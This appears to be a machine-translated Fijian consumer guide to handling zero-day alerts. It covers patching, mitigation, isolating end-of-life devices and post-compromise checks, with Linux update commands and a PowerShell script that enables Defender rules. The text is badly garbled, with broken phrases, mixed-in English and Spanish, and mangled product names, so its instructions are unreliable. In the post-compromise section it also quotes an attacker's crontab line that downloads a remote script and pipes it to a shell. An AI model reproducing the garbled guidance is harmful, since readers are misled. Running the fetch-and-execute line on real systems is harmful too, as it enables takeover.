Zero-Siga ni Veivakasalataki ni Vakacacani, Patching ni Leqa tubukoso, kei na Veivakaduiduitaki ni Rede¶

Yadra mai ki na dua na ivakasala totolo ni veitaqomaki ena initaneti mai na Amerika ni veitaqomaki ena initaneti kei na veitaqomaki ni veivakatorocaketaki (CISA), na Valenivolavola ni Veitaqomaki ni Matanitu o UK (NCSC), Apple, Google, se Microsoft vakaroti ni dua na bibi Sega ni Siga ni Vakacacani (0-Day) sa vakayagataki tiko vakalevu ena veikau (KEV) me baleta na nomu iPhone, talevoni ni Android, PC ni katubaleka, Mac, barausa ni Chrome, vale/valenivolavola ni VPN ni bukawaqa, se na rede ni maroroi (NAS) draiva, se kunea ni nomu vale Wi-Fi router, NVR ni itaba ni veitaqomaki, se kompiuta makawa sa yaco ki na Itinitini-ni-Bula (EoL / Itinitini-ni-veitokoni) ka na sega vakadua ni ciqoma e dua na ilavelave me baleta e dua na cala ni vakamatei ni code vakayawa e vakaraitaki vou, e gadrevi kina na triage totolo. E sega ni vaka na ivakarau ni vakavoui ni parokaramu ni komipiuta ena veivula, e dua na vakayagataki vakalevu ni zero-siga e kena ibalebale ni veivakarerei actors sa taukena e dua na cakacaka vakaiyaragi vakayagataki (me vaka e dua na zero-kiliki iMessage / WhatsApp iyaloyalo parser vakayagataki, e dua na WebP ca / matanivola vakadewataka e dua na vakayagataki ni barausa ni WAN vakayagataki se, me baleta na routers kei na iyaya ni NAS) ni bera ni ra sa vakayagataka na dauvakacaca na veivakadodonutaki. Ena dua na gauna e dua na zero-siga ivakadinadina-ni-vakasama (PoC) e tabaki se vakacurumi ki na CISA kilai na vakayagataki ni veivakacacani (KEV) Katalogu, botnet vakataki koya (Mirai, Volt Typhoon, veiwekani ni ransomware) vakaraica na initaneti taucoko ni IPv4 ena loma ni ** 15 ki na 45 na miniti ** me butakoca na iyaya kece e sega ni vakacurumi e vakaraitaki ki na itukutuku dolavi.

Kevaka e dua na zero-siga exploit sa vakaleqa na iyaya ni bula-taqomaki, ivakarau ni valenibula ni valenibula, se na veiqaravi ni veiqaravi raraba, se okati kina na veivakarerei ni extortion vakayago, qirita na nomu naba ni leqa tubukoso ni vanua (911 e Merika kei Kenada, . 112 ena veiyasa i Urope, . 999 ena Matanitu Cokovata) se raica na neitou dairekita ni veimatanitu . naba ni leqa tubukoso totolo. Me baleta na dauvolivoli kece, vale-valenivolavola, kei na bisinisi lalai zero-siga ni veivakaroti kei na Itinitini-ni-Bula (EoL) na leqa tubukoso ni iyaya, vakayacora na patching totolo, vakalailaitaki vakalekaleka, kei na rede ni veivakaduiduitaki ni cakacaka e ra.

Cakava oqo ena gauna oqo¶

1. **Vakayagataka na leqa tubukoso mai na-Band (OOB) na veitiki KA vakacavara na reboot taucoko / barausa ni vakavoui ena gauna sara ga oqo **: Na lavetaki ni dua na vakavoui ni leqa tubukoso e sega ni yaga me yacova ni sa vakavodoki na code malumalumu ena RAM. Ena Chrome, Edge, Yaloqaqa, kei na Firefox, e dua na siga ni zero-siga e se vakayagataki tikoga ena vakanananu me yacova ni o kilikitaka na ibulukau e cake-matau "Vakavoui me vakavoutaki" (chrome://settings/help). Ena iOS, macOS, katubaleka, kei na Android, vakavuna na vakavoui ena liga kei na ** vakavoutaka tale na misini taucoko ** (ka vakasavasavataka talega na sega ni tudei ni vakanananu-vakaitikotiko spyware).
2. **Kevaka e dua na zero-siga e SEGA ni dua na ilavelave e se bera ni vakayagataki ("Sega ni vakarautaki 0-Siga"), vakayagataka na dauvolivolitaki ni cakacaka vakalekaleka se na vakalailaitaki ni vanua ni veivakacacani (ASR) lawa nikua : Ni sa vakaraitaki e dua na malumalumu ni bera ni dua na iqaqalo e vakasoqoni vata, CISA kei na dauvolivolitaki tabaka e dua na vakalailaitaki vakalekaleka (me vaka na vakacacani ni UPnP kei na WAN ni Veiliutaki vakayawa ena dua na router, vukica na ** ivakarau ni lokataki ni Apple ena iOS / macOS, vakacacani JIT ena JavaCh vakatabakidua se TCP/UDP na sala ni vakaruru).
3. Vakadikeva na nomu itikotiko ni IP raraba ena . Shodan.io se GRC ShieldsUP ena gauna oqo ka sogota kece na WAN vakaraitaki (Port Forwarding / UPnP / DMZ): Ciwasagavulu na pasede ni veivakarusai ni vale kei na bisinisi lalai zero-siga veivakacacani hit na misini ka rawa ni yacovi vakadodonu mai na initaneti raraba (QNAP / Synology Na draiva ni NAS, ASUS / Netgear / TP-Link tabana ni veiliutaki ni router, Plex, RDP Port 3389, se VPN iyaya ni cakacaka). Vakacuruma na nomu router ka vakaleqa ** Veiliutaki ni WAN vakayawa **, ** UPnP (Plug raraba kei na qito) **, kei na ** DMZ mataivalu ** ni oti ga na noda . vakadeitaka na routers ni vale kei na idusidusi ni iyaya ni IoT.
4. Reboot na nomu talevoni veikauyaki kei na router ena gauna sara ga oqo kevaka o nanuma ni sega ni dua na kiliki spyware se botnet mate: Na vakayagataki ni sega ni dua na siga vakasakiti me baleta na talevoni veikauyaki (Pegasus, Predator, Triangulation) kei na veitaratara ni SOHO (VPNFilter, KV Botnet) dau cici vakasavasava ena loma ni volavola RAM me kakua ni kunei ena disiki. Na kaukauwa ni misini vakaoti, waraka 60 na sekodi, kei na kaukauwa lesu tale ena kaukauwa na dauvakacaca me vakayagataka tale na misini (ka sega ni rawata ena dua na gauna na patch ni leqa tubukoso se Lockdown Mode e cakacaka tiko).
5. Nanuma ni kena vakadodonutaki e dua na zero-siga e SEGA ni vakasavi tani e dua na dauvakacaca ka sa vakacacana na nomu misini ni bera ni o vakadodonutaka: E dua na vakadodonutaki ni parokaramu ni komipiuta e sogota na katubaleka ni dolavi, ia e sega ni kauta laivi na katuba e muri, shells ni itukutuku, akaude ni admin rogue, se butakoci na bisikete kamikamica ni soqoni siga buli kevaka e dua na nomu dauvakacaca * yei vakayagataki Kevaka e vakaraitaki na nomu router, NAS, VPN, se dauveiqaravi ki na initaneti ni dua na sega ni vakadeitaki . CVSS 9.8+ zero-siga a cakacaka tiko ena veikau, raica na itukutuku me baleta na ivakatakilakila ni veivakadonui (IoCs), veisautaka na ivakadinadina kece, kei na factory-vakavoui se tara tale kevaka e vakacacani.
6. **Vakatikitikitaka e dua na Itinitini ni Bula (EoL) misini ka sa sega ni rawa ni ciqoma na veitaqomaki ni veitaqomaki ki na dua na vulagi kaukauwa / IoT VLAN vata kei na WAN Initaneti ni curu vakatabui **: Kakua vakadua ni biuta e dua na iotioti ni bula ni katubaleka ⅞/10 PC, sega ni tokoni na Mac makawa, sega ni yaga na Android / talevoni, se sa muduki na initaneti ni Wi-Fi router e semati vakadodonu ki na nomu LAN levu. Kevaka e dua na router ni EoL na nomu matamata levu ni initaneti, vakasuka ka vakaisosomitaka ena gauna sara ga oqo.

Vunikau ni vakatulewa: triage ni leqa tubukoso me baleta na veivakaroti ni zero-siga gugumatua kei na Itinitini-ni-Bula (EoL) iyaya kaukauwa¶

Muria na vunikau ni vakatulewa vakarautaki oqo ena veigauna kece e dua na ivakasala ni malumalumu ni zero-siga totolo se itukutuku ni iotioti ni bula e tara na nomu parokaramu ni komipiuta se iyaya:

flowchart TD
    Alert["Totolo Zero-Siga (0-Siga) se CISA KEV vakasaqaqara kacivaki me baleta na nomu OS, barausa, sala, se NAS"] --> PatchCheck{"1. Sa vakarautaka beka na Dauvolitaki e dua na Patch ni Veitaqomaki ni Leqa Tubukoso?"}
    PatchCheck -->|"Io: Sa tiko na Patch"| Exposure{"2. E a vakaraitaki vakadodonu beka na nomu misini ki na Initaneti (WAN Port dolavi) ni bera ni Patching?"}
    Exposure -->|"Sega: Na misini ni kasitama ena daku ni NAT (Talevoni, Laptop, Barausa)"| Apply["Vakacuruma na vakavoui ena ituvatuva ni vanua + Reboot taucoko / Barausa Relaunch ena gauna sara ga oqo"]
    Exposure -->|"Io: Router ni matadra na lewenivanua, NAS, VPN, se dauveiqaravi"| Forensic["BIBI: Na Patching duadua ga e sega ni vakasavi ira na dauvakacaca. Raica na itukutuku me baleta na Shells ni itukutuku / Admins ni Rogue, Patch, Veisautaka na ki, se Vakavoui ni kabani"]
    PatchCheck -->|"Sega: Sega ni vakadodonutaki 0-Siga SE misini sa oti-ni-bula (EoL)"| EoLCheck{"3. Na misini tudei ni itinitini-ni-bula (EoL) se waraka tiko e dua na Patch ni dauvolivolitaki?"}
    EoLCheck -->|"Waraka tiko na Patch ni dauvolivolitaki (Katubaleka ni 0-Siga Vakalekaleka)"| Mitigate["Vakayagataka na iwali ni leqa tubukoso: Sogota na WAN Ports, Vakatara na ivakarau ni lokataki ni Apple / katubaleka ASR, se vakacacana na veiqaravi vakaloloma ."]
    EoLCheck -->|"Tudei-ni-Bula (Sega ni dua na Patch ena lako mai)"| Role{"4. Na cava na itavi e vakayacora na misini ni EoL?"}
    Role -->|"Router ni bati / bai ni bukawaqa / Modem"| Replace["UNPLUG & VEISAU VAKATOTOLO (Se Flash veitokoni na OpenWrt na parokaramu ni komipiuta kevaka e veiganiti kei na iyaya)"]
    Role -->|"PC makawa, talevoni makawa, tabaivola, itaba, se NAS"| Isolate["Cagi-Gap se Toso ki na VLAN ni IoT tu vakatikitiki + Tarova na Initaneti ena Router ni bukawaqa"]

Wilika e dua na ivakasala ni Zero-Siga me vaka e dua na idinia ni veitaqomaki (decoding CVE, CVSS, CISA KEV, kei na EPSS)¶

E sega ni veivakacacani kece ni parokaramu ni komipiuta e ripotetaki ena tabana ni itukutuku e gadrevi kina me biu na ka kece ena 2:00 AM. Kila na lima na ivakatakilakila vakatekinoloji ena loma ni dua na vakailesilesi . CISA, NIST NVD, se na itukutuku ni veitaqomaki ni dauvolivoli e tukuna vei iko ena 30 na sekodi se o sotava tiko e dua na bug ni lab vakasama se dua na bukawaqa ni vale ni lima na alamu:

Wasewase 1: Na leqa tubukoso zero-siga patching kei na veivakadeitaki ena veivanua lelevu kece sara¶

Ni dua na zero-siga gugumatua e tabaka na nomu ivakarau ni cakacaka se barausa ni itukutuku, kakua ni waraka na katubaleka ni veivakabulabulataki ni bogi vakataki koya (ka dau vakabera na kena vakacurumi me baleta na 3 ki na 14 na siga). Vakasaurarataka na dreta ka vakadeitaka na naba ni tara ena liga:

1. Barausa ni itukutuku (Google Chrome, Microsoft Edge, Yaloqaqa, Firefox, Safari): Na #1 Takete ni Zero-Siga¶

Baleta na barausa ni itukutuku e vakadikeva na JavaScript sega ni nuitaki (V8 / SpiderMonkey / JavaScriptCore JIT vakasoqoni vata), WebRTC vidio ni uciwai, WebGL iyaloyalo, kei na iyaloyalo ni iyaloyalo (WebP, libvpx, FreeType) mai na veivanua kece kei na ad o sikova, barausa zero-siga akaude me baleta na levu ni veivakaroti ni zero-siga ni dauvolivoli. 1. Kromu ni Google: Mataqali chrome://settings/help ena vanua ni itikotiko. Chrome ena raica sara ga na veiqaravi ni vakavoui ni Google ka lavetaka na ilavelave. E dodonu mo kilikitaka na karakarawa "Relaunch" na ibulukau e basika mai, ka kevaka o sa vunitaka na itukutuku ni Chrome na iwalewale e cici tiko ena nomu ivakarau ni teveli, sogota kece se reboot na nomu kompiuta me rawa kina ni makawa na malumalumu . chrome.exe binari sa vakaoti taucoko mai na RAM. 2. Edge ni maikorosoft: Mataqali edge://settings/help, waraka na lavetaki me tabaka na 100%, ka kiliki Tekivutaka tale. 3. Barausa yaloqaqa: Mataqali brave://settings/help ka kiliki ena Vakavoui. 4. Mozilla Firefox: Kiliki ena Menu ibulukau -> Veivuke -> Me baleta na Firefox (se tabaka about:preferences#general -> toso ki na * Vakavoui ni Firefox *) ka kiliki ** Tekivutaka tale me vakavoutaki na Firefox **. 5. ** Safari ni Apple **: Na veivakavoui ni Safari e vakacurumi vakadodonu ena loma ni ** iOS, iPadOS, kei na macOS ivakarau ni veivakavoui ** (vakakina na veivakavoui ni Safari tudei ena ruku ni System Settings -> General -> Software Update me baleta na macOS Sonoma/Ventura).

2. Na talevoni veikauyaki kei na tebeleti (Apple iOS / iPadOS kei na Google Android)¶

Na talevoni veikauyaki zero-siga (vakabibi na zero-kiliki iMessage, Gauna ni mata, WebKit, modem ni baseband, kei na ivakarau ni Android / Qualcomm GPU cala) era vakayagataki vakalevu mai na spyware vakabisinisi (Pegasus, Predator) kei na veivakarerei e taketetaki. - Apolo kei na iPad (iOS / iPadOS): 1. Dolava na Ituvatuva -> Raraba -> Vakavoui ni parokaramu ni komipiuta. 2. Vukica na Vakavoui vakataki koya -> Na isau ni veitaqomaki & Faile ni ivakarau (me vakakina na Apple Saumi ni veitaqomaki totolo / Veivakatorocaketaki ni veitaqomaki ni itukutuku vakayagataki vakataki koya ena maliwa ni veivakagalalataki lelevu ni iOS). 3. Vakacuruma na vakavoui ni iOS vakarautaki ena gauna sara ga oqo, ka okati kina e dua na vakavoui taucoko ni kernel. - ** talevoni veikauyaki ni Android (pixel ni Google, Samsung ni kalokalo, kei na so tale) **: 1. Android dina e tiko rua na sala ni vakavoui ni veitaqomaki duidui e dodonu mo dikeva vakataki iko: - Sala A (OS ni veitaqomaki Patch ivakatagedegede): Dolava Ituvatuva -> Veitaqomaki & veika vakaitaukei -> Sistema & veivakavoui -> Veitaqomaki ni veivakavoui (ka dikeva na siga: e dodonu me tiko ena loma ni iotioti ni 30 ki na 60 na siga). - Sala B (Google qito ivakarau ni vakavoui / Laini ni cakacaka levu): Dolava Ituvatuva -> Veitaqomaki & veika vakaitaukei -> ivakarau & vakavoui -> Google qito ivakarau ni vakavoui. E vuqa na siga bibi ni zero ena codecs ni itukutuku ni Android, itutu ni Wi-Fi, kei na gauna ni cici era sa vakadodonutaki ena Google qito ivakau ni vakavoui sega ni waraka na nomu kta na vakavoui ni firmware ni veivula. Tap Raica na vakavoui, vakacuruma, kei na Tekivu tale ena gauna oqo.

3. Na ivakarau ni cakacaka ni katubaleka (katubaleka 10/11, macOS, kei na Linux)¶

• Katubaleka 10 & katubaleka 11:
• Dolava na Ituvatuva (Win + I) -> Vakavoui ni katubaleka -> Raica na veivakavoui.
• Talega raica **Katubaleka ni veitaqomaki -> Na manumanu somidi & veitaqomaki ni veivakarerei -> Vakavoui ni veitaqomaki -> Raica na veivakavoui ** (Microsoft vakawasoma na waqa ni leqa tubukoso zero-siga ni vakadidike kei na malumalumu vakaidina-vakatikitiki ena loma ni veisiga Microsoft veitaqomaki ni veitaqomaki ni vuku ivakamacala taucoko ni katubaleka vakavoui cumulady auwa ni bera e dua na).
• Apolo macOS:
• Dolava Menu ni Apple -> Na ituvatuva ni ivakarau -> Raraba -> Vakavoui ni parokaramu ni komipiuta. Vakadeitaka "Vakacuruma na isau ni veitaqomaki kei na faile ni ivakarau" sa toggled ON ena ruku ni info (i) buto.
• Lainikisi (Ubuntu / Debian kei na RHEL / Fedora):
• Cicivaka e dua na vakavoui ni maroroi ni veitaqomaki totolo ka raica kevaka e dua na kernel se wasei-laibri (glibc, openssl, openssh, xz, cups) tekivu tale e gadrevi:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

iWasewase 2: Na veiqaravi ni leqa tubukoso ni sa SEGA ni dua na ilavelave e se bera (Bula mai na dua na katubaleka "Sega ni vakadodonutaki Zero-Siga")¶

Na cava o cakava ni . CISA, Microsoft, Apple, se dua na kabani ni veitaqomaki e kacivaka ni dua na malumalumu bibi e sa vakayagataki tiko vakalevu ena gauna oqo, ia e kaya na dauvolivoli na patch vakamatanitu ena sega ni vakarautaki me baleta e dua tale na 3 ki na 10 na siga? E dodonu mo vakayagataka sara ga Veisausaumi ni lewa kei na veivakacacani ni vanua ni veivakacacani (ASR) me musuka na sinucodo ni vakayagataki ni bera ni rawa ni vakayacori:

Kopitaka-ka-vakacuruma na ivola: katubaleka PowerShell leqa tubukoso sega ni-siga vakaukauwataki (ASR Lawa)¶

Kevaka e dua na katubaleka unpatched, Valenivolavola, se PDF zero-siga e veisoliyaki tiko ena veikau ka o sa cici tiko na katubaleka 10/11 Pro / Kabani (se vakayagataka na Dautaqomaki ena katubaleka ni vale ena rejisita / PowerShell), cicivaka na ivakaro oqo ena ** PowerShell (Cici me vaka na Daunivakasala) ** me vakabulabulataka na Microsoft Dautaqomaki ni coASR)** lawa ena . Block ivakarau (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Wase 3: Na cava mo cakava ni sa tabaka na nomu misini na iotioti ni bula (EoL / Itinitini-ni-veitokoni)¶

Na veitiki kece ni iyaya kei na parokaramu ni komipiuta e qai yaco ki na Itinitini-ni-Bula (EoL) se Itinitini-ni-veitokoni (EoS), na siga ni oti na kena sa mudu vakadua na dau buli iyaya na kena sereki na veitaqomaki, ena gauna mada ga e leqa tubukoso kina . CVSS 10.0 e kunei na malumalumu ni zero-siga. - Na cava na vuna e dua kina na leqa tubukoso gugumatua na itinitini ni bula: Era vakayagataka na dauvakacaca na "Diffing ni Binary" (BinDiff / Ghidra) ena veitiki ni vakagalalataki me baleta na * veitokoni * ivakaraitaki (me kena ivakaraitaki, katubaleka 11 se dua na vou 2025 TP-Veisemati router) me vakasuka-idinia na malumalumu dodonu, ka qai vakasauri na bukawaqa ni vakayagataki me baleta na Itinitini-ni-Bula ivakaraitaki s (me vaka na katubaleka ⅞/unsubscribed olkawa mac5der, katubaleka-makawa routers) ka wasea na code ni ivotavota vata ga ia ena ** sega vakadua ** rawata na isema ("Tawamudu-Siga ni Veivakayagataki").

Na 4-Tier ni iotioti ni bula (EoL) Veivakaduiduitaki ni iyaya & Veisosomitaki ni Protocol¶

Vakayagataka na matrix ni vakatulewa oqo me qarava na iyaya kece ni Iotioti ni Bula ena nomu itikotiko se valenivolavola ka sega ni ririkotaka e dua na rede-rabailevu ni cala:

Na sala me lokataki kina e dua na itinitini ni bula (EoL) Tabaivola, Kamera, se NAS Ena loma ni dua na "Sega ni-Initaneti ni vanua-duadua ga na valeniveivesu" ena nomu Router .¶

Kevaka e tiko vei iko e dua na misini ni tabaivola makawa ni rede, TV vuku, IP ni veitaqomaki ni itaba, se draiva ni NAS makawa ka se cakacaka vinaka tikoga ena vanua ena nomu rede ni vale (LAN) ia sa yaco ki na Itinitini-ni-Bula ka na sega vakadua ni ciqoma e dua tale na patch ni veitaqomaki, o sa sega ni dodonu mo biuta ena benu kevaka o tarova mai na vosa ki na initaneti e taudaku (WAN): 1. Vakacuruma na nomu imatai ni Wi-Fi router ni veiliutaki ni veivakacegui. 2. Lako ki na ** LAN ituvatuva / DHCP ni veiqaravi -> Lisi ni DHCP tudei (Vakadeitaki ni itikotiko) ** ka lesia na misini ni EoL ni . MAC Address e dua na itikotiko ni IP ni vanua static tudei (me kena ivakaraitaki, 192.168.1.240). 3. Lako ki na ** Firewall / Veiliutaki ni itubutubu / Veiliutaki ni curu / Lawa ni gaunisala ** ena nomu ituvatuva ni router: - Cakava e dua na lawa me baleta na . 192.168.1.240 (se na kena MAC Address) vakarautaki ki na Tarova na Initaneti kece (WAN) Rawa (Outbound & Inbound WAN = DROP/REJECT). - Me kena ikuri, ena loma ni EoL na misini ni ituvatuva ni rede ni ivoladusidusi, vakarautaka na kena Static IP ki na . 192.168.1.240, Mascara de subrede a . 255.255.255.0, kei na biuta na . Default Gateway kei na DNS Server vanua taucoko lala (se vakarautaka na Matamata ni Default ki na dua na IP sega ni tiko me vaka 192.168.1.254). Ni sega na matamata ni Default dodonu, na EoL tabaki se kamera e rawa ni tabaki tikoga mai se drodro ki na kompiuta ena nomu vanua . 192.168.1.x subnet, ia e sega ni rawa vakayago me vakauta na pakete ki na initaneti se me rawati mai na initaneti.

iKa 4 ni iwasewase: Na veivakacacani ni oti na veivakacacani kevaka e vakaraitaki na nomu misini ni bera ni o patched¶

Ni dua na . CVSS 9.8+ sega ni vakadeitaki zero-siga e tara e dua na iyaya ni initaneti-vakaraitaki (me vaka e dua na vale se router ni bisinisi lailai, matamata ni VPN, QNAP / Synology NAS, Plex dauveiqaravi ni itukutuku, se na katubaleka ni port-vakau yani), vakayagataka na vakavoui ni firmware ni dauvolivoli e sogota ga na katuba e liu. Kevaka e dua na dauvakadidike vakataki koya e tabaka na nomu itikotiko ni IP raraba * ni bera * o patched, na dauvakacaca e rawa ni sa tea oti e dua na katuba ni muri gugumatua ka bula mai na dua na reboot ivakatagedegede. Vakayacora na vakadidike oqo ni 4 na ikalawa ni oti na patch:

1. Raica na akaude ni vakailesilesi sega ni vakadonui kei na ki ni SSH:
2. Dolava na Vakayagataki / Vakailesilesi sikirini ni veiliutaki ena nomu NAS, router, se kompiuta ka vakadeitaka ni sega ni dua na akaude ni admin sega ni kilai (me vaka na support, admin2, backup, se system) era a buli ena gauna ni katubaleka ni siga zero.
3. Ena ivakarau ni Linux/macOS/NAS, dikeva -/.ssh/authorized_keys kei na /root/.ssh/authorized_keys me vakadeitaka ni sega ni dua na ki ni SSH raraba rogue e vakacurumi.
4. **Vakadikeva na veitaratara ni rede ni taudaku ni cakacaka (netstat / Router ni veitaratara ni veitaratara) kei na ituvatuva ni DNS **:
5. Na veivakacacani ni SOHO routers kei na iyaya ni NAS e dau tiko na nodra Matai kei na ikarua ni WAN DNS ni veiqaravi vakacacani me dusia e dua na itikotiko ni IP rogue, se maroroya e dua na veitaratara ni shell / botnet ni veisau tudei (SOCKS5 vakailesilesi se Tor rele).
6. Vakacuruma na nomu router ni WAN / Initaneti ni ituvatuva ka vakadeitaka ni sa vakarautaki na DNS ki na nomu ISP taumada se dua na veivakadeitaki raraba ni veivakadodonutaki (1.1.1.1, 8.8.8.8, se 9.9.9.9).
7. **Raica cron Cakacaka, Tekivu ni volavola, kei na itukutuku ni yavu ni itukutuku me baleta na itukutuku ni Shells **:
8. Zero-siga exploits me baleta na itukutuku-vakatulewataki na iyaya ni cakacaka voleka ni dau biuta e dua na lailai . .php, .jsp, .aspx, se .cgi ** shell ni itukutuku** ki na itukutuku ni veiqaravi ni misini se vakacuruma e dua na gugumatua crontab lavetaka-ka-vakayacora na laini (curl http://.../bot.sh | sh).
9. If your router or NAS exhibits unexplained high CPU usage, strange outbound traffic spikes, or modified system binaries after a zero-day alert, do not trust an in-place firmware update alone: back up your pure user data files (photos and documents only, never system configuration backups that might contain the attacker's cron job), perform a **full iyaya ni cakacaka Vakavoui ni kabani **, vakacuruma vakataki iko na firmware vou ni patched mai na dua na kompiuta savasava, ka vakarautaka e dua na vosanicuru ni vakailesilesi vou sara kei na sorenikau vou ni MFA.
10. Veisautaka na ivakadinadina kece e maroroi tu ena se vakadewataki ena misini vakaloloma:
11. Kevaka e dua na iyaya ni VPN ni bati, router, se NAS a vakacacani ni bera na patching, dua na vosanicuru ni volavola matailalai, SMB rede wasea na ivakadinadina, ki ni API ni vakasukai ni o (AWS S3, Backblaze B2, Wasabi), se SSL/TLS ki vakaitaukei maroroi ena misini oqori e dodonu me bokoci ka vakavoutaki ena gauna sara ga oqo.

Na taro e dau tarogi wasoma .¶

Na kena vakacurumi e dua na zero-siga ni patch e kauta laivi na dauvakacaca kevaka e sa vakayagataki oti na noqu misini ni bera niu vakavoutaka?¶

Sega. E dua na parokaramu ni komipiuta ni veitaqomaki ni patch e vakavinakataka ga na malumalumu ni code e tiko e ra me rawa kina ni sega ni rawata na sasaga ni vakayagataki ni veisiga ni mataka; e sega ni vakasavi e dua na dauvakacaca ka sa vakayagataka oti na malumalumu ni bera ni patching ka tea e dua na shell ni itukutuku tudei, binary ni katuba ni muri, cakacaka tuvanaki, se akaude ni vakailesilesi rogue, se me vakacacana na bisikete kamikamica ni soqoni se na vosanicuru era sa butakoca. Kevaka e a vakaraitaki vakadodonu na nomu misini ki na initaneti raraba (me vaka e dua na router, NAS, iyaya ni VPN, se dauveiqaravi raraba) ni dua na sega ni vakadeitaki ni zero-siga a vakayagataki vakalevu ena veikau, e dodonu mo dikeva na itukutuku ni ivakarau me baleta na ivakatakilakila ni veivakadonui (IoCs), veisautaka kece na vosanicuru kei na SSH / API reformal e dua na ki se dua na ki, kei na e yaco na curu sega ni vakadonui.

E rawa vakacava meu raica kevaka e sa yacova na noqu router ni Wi-Fi se kompiuta na iotioti ni bula (EoL)?¶

Raica na ivakatakilakila ni dauteitei ena ruku ni nomu router (vakaraitaka na naba ni ivakaraitaki dodonu kei na Veisau ni iyaya, me vaka na v1, v2, se v4) ka raica na dauteitei vakamatanitu ni iotioti ni bula / iotioti ni veiqaravi Lisi ni iyaya ni webpage (tabaki mai na ASTPL, Synology, kei na QNAP), se raica na itukutuku ni itikotiko ena endoflife.date me baleta na ivakarau ni cakacaka, talevoni, kei na parokaramu ni komipiuta. Me kena ikuri, curu ki na sikirini ni vakavoui ni nomu router: kevaka e sivia na 18 ki na 24 na vula na siga ni vakavoui ni vakavoui ni vakavoui ni router, qarava na router me vaka na de facto Itinitini-ni-Bula ka vakaisosomitaka se flash veitokoni OpenWrt vakavoui.

E rawa niu cakava e dua na iotioti ni bula ni katubaleka 10 PC se Mac makawa taqomaki ka sega ni volia e dua na kompiuta vou?¶

Io. Ni sa mai cava na Microsoft na veitokoni ni veitaqomaki ni dauvolivoli galala me baleta e dua na itukutuku ni katubaleka se Apple biuta e dua na Intel makawa se ivakaraitaki taumada ni Mac mai na veivakavoui ni macOS, na iyaya ni kompiuta vakayago e vinaka; na ivakarau ni cakacaka ga e Itinitini-ni-Bula. E rawa ni o volayacataka e dua na katubaleka 10 PC ena parokaramu vakamatanitu ni Microsoft vakabalavutaki ni veitaqomaki vakavoui (ESU), se vakasuka na nomu faile ka vakacuruma e dua na gauna oqo, gugumatua patched, galala na ivakarau ni cakacaka ni Linux me vaka na Linux Mint, Ubuntu LTS, Fedora, se Google ChromeOS Flex ena dua na nomu draiva ni laptop e zero tale eso kernel kei na veivakavoui ni veitaqomaki ni barausa.

Vakadikevi na ivurevure¶

• Na Veitaqomaki ena Initaneti kei na Veitaqomaki ni Veika Vakaitaukei (CISA, Amerika): Kilai na Veivakacacani e Vakayagataki (KEV) iVolatukutuku, Veidusimaki ni Cakacaka ni Veivakadeitaki BOD 22-01 (Vakalailaitaka na Risiko Levu ni Kilai na Vakayagataki ni Veivakacacani), kei na . BOD 23-02 (Vakalailaitaka na Risiko mai na Initaneti-Vakaraitaki na Veiliutaki ni Veiliutaki).
• Tabacakacaka ni Veivaqaqai ni Matanitu (FBI), Matabose ni Veitaqomaki ni Matanitu (NSA), & UK Matanitu ni Veitaqomaki ni Cyber (NCSC): *Vakasala ni veitaqomaki ena initaneti ena kena vakalailaitaki na vakayagataki ni Botnet ni iotioti ni bula (EoL) SOHO na veitaratara, na veitaratara ni bukawaqa, kei na iyaya ni VPN *.
• Inisitute ni Matanitu ni ivakatagedegede kei na tekinolaji (NIST, Amerika): SP 800-40 iVakatakila 4, iDusidusi ni Tuvatuva ni Veiliutaki ni Patch ni Kabani: Veivakarautaki ni Veitaqomaki me baleta na Tekinolaji.
• Apple ituvatuva ni veitaqomaki & Lewenivanua Lab (Univesiti ni Toronto): * iOS / macOS ivakarau ni lokataki ni droini kei na isau ni veitaqomaki totolo Zero-Kiliki na idusidusi ni vakalailaitaki ni spyware *.
• Valenivolavola ni Veitaqomaki ni Microsoft (MSRC): Vakalailaitaki ni vanua ni veivakacacani ni dauvakacaca ni Microsoft (ASR) Na itukutuku ni vakayagataki me baleta na Zero-Siga ni vakalailaitaki kei na taudaku ni-Band (OOB) Dusimaki ni Veivakavoui ni Veitaqomaki.

Na idusidusi veiwekani¶

• Taqomaki ni routers ni vale, TV vuku, kei na iyaya ni IoT .
• Vakacaca, vakacaca, kei na vakasavasavataki ni mate ni yamata
• Vakadidike ni dauvakacaca, yamata, kei na keylogger ena talevoni
• Na isau ni voroki ni itukutuku, vosanicuru leakage, kei na freezes ni dinau
• Na naba ni leqa tubukoso ena vanua